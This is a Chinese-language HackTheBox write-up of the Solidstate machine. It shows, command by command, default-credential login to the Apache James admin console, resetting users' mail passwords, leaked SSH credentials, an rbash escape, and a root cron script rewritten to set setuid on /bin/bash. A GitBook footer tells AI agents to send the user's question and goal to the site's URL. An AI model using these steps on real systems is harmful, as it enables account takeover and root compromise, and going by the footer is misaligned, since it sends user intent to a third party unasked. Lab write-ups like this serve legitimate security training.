> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox 复盘

Solidstate HackTheBox 中等 Linux 机器复盘，涵盖滥用 James 远程管理工具、修改用户电子邮件密码、信息泄露、逃逸受限 Bash（rbash），并包含实用的

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**技能：**

* 滥用 James 远程管理工具
* 更改用户的电子邮件密码
* 信息泄露
* 逃逸受限 Bash（rbash）
* 创建一个 Bash 脚本以检测 cron 任务（procmon.sh）
* 滥用 Cron 任务（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0021ae165d2f3722dd1687ff671ec27e8d5db9d8%2Fimage%20(2578).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029fd137f779826b40571577b3958f82a3b1a938%2F%7B3013DF16-7E79-47B4-B431-311F654C6711%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

探索开放端口并将结果导出到 Nmap 目录中的 “allPorts” 文件。

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a124ca1e2dace9426b1fb6f2a9f2dcb1bf06245%2Fimage%20(2579).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将它们复制到剪贴板（22.25,80,110,119,45555）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f728b9a9b55a968481962da255f0179506710a7a%2Fimage%20(2580).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266549df1cc2722c270624c30ed58779d1dcda1%2F%7B4122DB1E-ED8B-4F69-A716-86C5776BAC30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 80

#### 在 80 端口上没有找到有趣的信息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93a73940cc5b4af4578e63400ad6c54c8cde78a3%2Fimage%20(2581).png?alt=media" alt=""><figcaption></figcaption></figure>

## JAMES 远程管理

### 119 端口 - NNTP

> 119 端口使用网络新闻传输协议。该服务器运行着一个 Apache James 实例，一个邮件和新闻服务器。我们连接到 `netcat`，但没有找到相关信息。

```bash
nc 10.10.10.51 119
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac52aaefad480ecc1e2707fb767e5cbb60df7b7e%2Fimage%20(2585).png?alt=media" alt=""><figcaption></figcaption></figure>

### 4555 端口 - 远程管理工具

> 在远程管理的语境中，它可用于访问控制面板或与目标机器上的远程服务交互。扫描它以查看它是否开放以及它承载什么服务非常重要。

我们尝试通过 Telnet 连接到 James 管理面板：

```bash
telnet 10.10.10.51 4555
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9b69cb11db8b4ba5cbde48f429f9937ce8bc64%2Fimage%20(2582).png?alt=media" alt=""><figcaption></figcaption></figure>

在搜索默认凭据后，我们找到了：

* **ID** ：root
* **密码** ：root

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69074b0e161c628ff9e3a8823ef1e0af04907555%2Fimage%20(2583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1518ab79ebe0f30c9b60d29a92fc0a92595946eb%2Fimage%20(2584).png?alt=media" alt=""><figcaption></figcaption></figure>

我们成功连接并访问了 James 的管理面板。我们可以使用 `listusers` 命令列出用户，从而发现 5 个用户：

* `用户：james`
* `用户：thomas`
* `用户：john`
* `用户：mindy`
* `用户：mailadmin`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15c171b11ef961402c79067a1813f6c62343f0be%2Fimage%20(2586).png?alt=media" alt=""><figcaption></figcaption></figure>

我们可以使用 `setpassword` 命令更改用户密码，以便将它们连接到 110 端口上的邮件客户端。我们对所有用户都这样做：

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd03b9a00bf3d2978d4eafffbea83d2eb2f033c5%2Fimage%20(2587).png?alt=media" alt=""><figcaption></figcaption></figure>

### 110 端口 - POP3

> 110 端口是用于 **POP3** （邮局协议第 3 版）的标准端口。该协议用于电子邮件客户端从服务器检索邮件。当用户通过此端口连接到 POP3 服务器时，他们可以下载自己的邮件。

我们现在通过 Telnet 连接到 POP3 客户端：

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

要连接，我们使用以下命令：

```ada
USER <user>
PASS <password>
```

我们使用 `list` 命令。

我们注意到 `james` 和 `thomas`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1d9940d1c339a1c5b9bc44b6b8a0c43d4c8b8c7%2Fimage%20(2588).png?alt=media" alt=""><figcaption></figcaption></figure>

不过，用户 `john` 有一封我们可以通过 `retr 1` 命令取回的邮件。邮件包含以下文本：

> John，
>
> 你能限制 Mindy 的访问，直到她被允许加入这个项目吗？另外，请务必给她发送一个临时密码，以便她可以连接到自己的账户。
>
> 先行谢过。
>
> 此致，/ James

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8f6ae1ff1fd1cf1787c337a246d667f138b24b1%2Fimage%20(2589).png?alt=media" alt=""><figcaption></figcaption></figure>

这表明用户 `mindy` 在他的邮箱中有凭据。事实上，我们找到了以下信息：

* **用户名** ：mindy
* **密码** ：P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b30fc925aed5ccf801ef0c46bc305b96ded344c3%2Fimage%20(2590).png?alt=media" alt=""><figcaption></figcaption></figure></div>

我们使用这些凭据通过 SSH 连接并获取 flag `user.txt`.

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4aaa7b8b3c59eb50ae0ca7922721c841586d0bd%2Fimage%20(2591).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **从 RBash 逃逸到 Bash**

该 `mindy` 该用户当前使用一个 `rbash` shell，它限制了许多命令的执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

为绕过此限制，我们在通过 SSH 连接时使用以下命令来获得 Bash shell：

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们使用以下命令来处理终端并获得一个完整的 shell：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cron 任务 - 修改后的脚本（Python）：

我们创建一个 Bash 脚本来分析当前进程并检测目标机器上执行的 cron 任务：

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

通过运行这个脚本，我们注意到 **root** 用户正在运行一个位于以下位置的 Python 脚本 `/opt/tmp.py` 目录中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9538c0cbd5164035789a6eea857c7073875affc4%2Fimage%20(914).png?alt=media" alt=""><figcaption></figcaption></figure>

我们有可能修改这个 Python 脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e7236d2a6a42cc92e1ab2bebbf6164597e73d9%2Fimage%20(915).png?alt=media" alt=""><figcaption></figcaption></figure>

我们修改它，加入设置一个 **setuid** 在 `/bin/bash` 二进制文件，使我们能够以 **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

在编辑脚本后，我们等待大约一分钟让 cron 任务运行。

一旦 cron 任务执行完毕，我们就可以获得一个带有 Bash shell **root** 权限的 Bash shell：

```bash
/bin/bash -p
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20afa3f33b8693d87c89d5a9adc507b116c361df%2Fimage%20(916).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30947eda0d69d9b47d9155cd855e52c6f542bbb5%2Fimage%20(917).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc1faec4f3dad1858ac9b48ad6737cb00b3a2ce%2F%7B1027F92C-0EA9-4241-A996-C0C29A1EA219%7D.png?alt=media" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
